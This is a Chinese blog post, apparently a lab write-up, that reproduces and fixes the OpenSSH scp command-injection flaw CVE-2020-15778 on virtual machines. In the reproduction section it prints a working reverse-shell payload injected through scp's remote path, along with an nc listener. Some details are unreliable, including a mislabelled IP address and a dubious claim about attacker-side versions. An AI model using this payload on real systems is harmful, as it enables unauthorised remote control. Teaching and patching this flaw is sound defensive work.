网络攻防之CVE-2020-15778漏洞的复现及修复详细过程

目录

漏洞描述

实验环境

漏洞复现

漏洞修复

漏洞扩展


漏洞描述

(1)漏洞编号:CVE-2020-15778

(2)CVE官网对该漏洞的解释

(3)漏洞简介:2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。该漏洞属于命令执行漏洞,目前绝大多数linux系统受影响。

(4)scp介绍:scp 是 secure copy 的缩写, 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。ssh介绍:安全外壳协议SSH是Secure Shell的缩写,默认端口是22号,它是建立在应用层的安全协议。特点是较可靠,专为远程登录会话和其他网络服务提供安全性的协议,利用SSH协议可以有效防止远程管理过程中的信息泄露问题。

(4)漏洞影响版本:OpenSSH <= 8.3p1

(5)漏洞原理:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。目标主机禁用了ssh远程登录,但保留了scp。不能直接使用ssh连接,可以通过scp调用ssh,然后反弹shell获取权限。

(6)漏洞利用场景:一般在特定环境下利用例如某公司的某个文件服务器设置了拒绝ssh远程连接,但允许sftp,scp等服务正常访问,就会产生此漏洞

(7)漏洞危害:该漏洞危害性很高, 因为一旦入侵成功,攻击者可以尝试在目标系统上的shell上执行恶意代码,执行各种命令,获取系统信息,上传或下载文件,甚至完全控制目标系统。

(8)解决该漏洞的基本思路:使用更安全的命令代替scp或更新openssh版本到8.3p1以上

实验环境

vmware 17、kali2020虚拟机、kali2023虚拟机、centos7虚拟机,其中kali用作攻击机,centos7用作靶机

各虚拟机IP地址如下:

kali2020:192.168.133.145

kali2023:192.168.133.141

centos7:192.168.133.134

漏洞复现

分辨攻击机和靶机:centos7的终端是白底,shell为root@localhost

kali的终端是黑底,shell为root@007lyt

(1)首先先查看靶机和攻击机的OpenSSH版本是否都低于8.3p1

查看centos7的OpenSSH版本为7.4p1

查看kali2020的OpenSSH版本为8.2p1

(2)然后靶机开启22端口,配置过程如下:使用vi命令打开ssh配置文件

打开后如下

把port 22前面的#去掉

重启ssh服务,然后检查ssh服务是否开启

检查22端口是否开启

(3)测试一下靶机的scp服务和ssh服务是否能使用

kali创建一个1.txt文件,文件内容为“121122021007lyt”,然后使用scp命令传输1.txt文件到靶机的根目录下,命令如下

scp 1.txt root@192.168.133.134:/root/1.txt

传输成功

kali使用ssh命令远程登录靶机,使用以下命令:

ssh root@192.168.133.134

登录成功,出现了靶机的shell

说明靶机的scp和ssh服务都能正常使用

(4)在centos7靶机下安装iptables

(5)在centos7下安装iptables-services

(7)配置iptables防火墙

由于centos7默认自带firewalld ,所以我们先停止和禁用firewalld服务

先使用iptables -L命令清除所有默认规则,iptables -L -n –line-numbers命令查看防火墙配置表

在centos7中设置iptables策略,禁用ssh远程连接,但开放scp,使用以下命令:

iptables -t filter -A INPUT -p tcp –dport 22 -m tos --tos 0x10 -j DROP

查看防火墙策略表,添加成功

(8)再次使用scp传输一个2.txt文件到靶机,命令如下

scp 2.txt root@192.168.133.134:/root/2.txt

发现scp服务仍能正常使用

使用ssh远程登录靶机,命令如下

ssh root@192.168.133.134

输入密码后无任何回应,无法使用ssh服务登录靶机,因为靶机防火墙生效

监听1111端口,使用命令nc -lvp 1111

(9)使用反弹shell攻击命令:

scp test.txt root@192.168.133.134:'`bash -i >& /dev/tcp/192.168.133.145/1111 0>&1`'

以上攻击命令解释:

bash -i: 启动一个交互式的 bash shell。

>& /dev/tcp/192.168.133.145/1111: 将标准输出和标准错误输出重定向到指定的 TCP 地址和端口上。这里是将输出发送到 192.168.133.145(靶机IP地址) 的 1111 端口。

0>&1: 将标准输入重定向到标准输出

整体来说,这个嵌套命令的目的是在远程主机上建立一个反向 shell 连接,使得远程主机可以与指定的 IP 地址和端口进行通信。

(10)可以看到在监听窗口反弹出靶机的shell(root@localhost),攻击成功,即使靶机通过防火墙禁止了ssh远程登录能通过此漏洞远程控制靶机,在shell中输入ls命令查看靶机的根目录文件

(11)返回centos7靶机,查看根目录如下,与上图对应得上

  • 漏洞修复

修复方法1:最根本的方法

SSH账号密码确保为强口令且周期性更换密码,但有时需要透露SSH账号密码给其他用户让其拥有远程文件拷贝的权限可以用以下修复方法:使用rsync代替scp或升级OpenSSH版本

修复方法2:使用rsync代替scp

先卸载scp,卸载前用vmware保存快照,在靶机上输入以下命令:

yum remove openssh-clients -y


攻击机再次执行刚刚的攻击命令

结果提示scp:command not found,因为靶机scp服务已经被卸载了,所以提示scp命令找不到,成功修复该漏洞禁用scp后可以用rsync命令替代,rsync主要用于备份和镜像。具有速度快、避免复制相同内容和支持符号链接的优点。rsync用于文件的复制要比scp的速度快且不会出现漏洞

修复方法3:升级openssh版本

先使用vmware软件的快照功能把靶机恢复到卸载scp前的状态,保证攻击机还能使用scp命令

先安装依赖

从网上下载openssh8.8p1版本的压缩包,使用tar命令解压该压缩包

进入解压后的目录,使用./configure命令进行配置

然后使用make命令编译

最后执行make install命令安装

安装完成后查看OpenSSH版本为8.8p1,成功更新

攻击机再次执行攻击命令

攻击失败,成功修复该漏洞

漏洞扩展

1、此漏洞要求靶机OpenSSH版本小于等于8.3p1,那如果攻击机的OpenSSH版本大于8.3p1能否攻击成功呢?这次使用kali2023作为攻击机

查看kali2022的openssh版本为9.3p2,大于8.3p1

检验scp服务是否正常,执行以下命令

scp 2.txt root@192.168.133.124:/root/2.txt

scp服务正常使用

检验ssh服务是否正常,执行以下命令

ssh root@192.168.133.134

ssh服务无法使用,因为靶机开了防火墙

攻击机监听1111端口

然后使用刚刚的攻击命令

发现连接失败,说明此漏洞不仅要求靶机的OpenSSH版本小于等于8.3p1,还要求攻击机的OpenSSH版本也小于等于8.3p1,不然无法利用这个漏洞,所以攻击者想要攻击成功的需要使用低版本的OpenSSH

  • 51
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Genius256

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值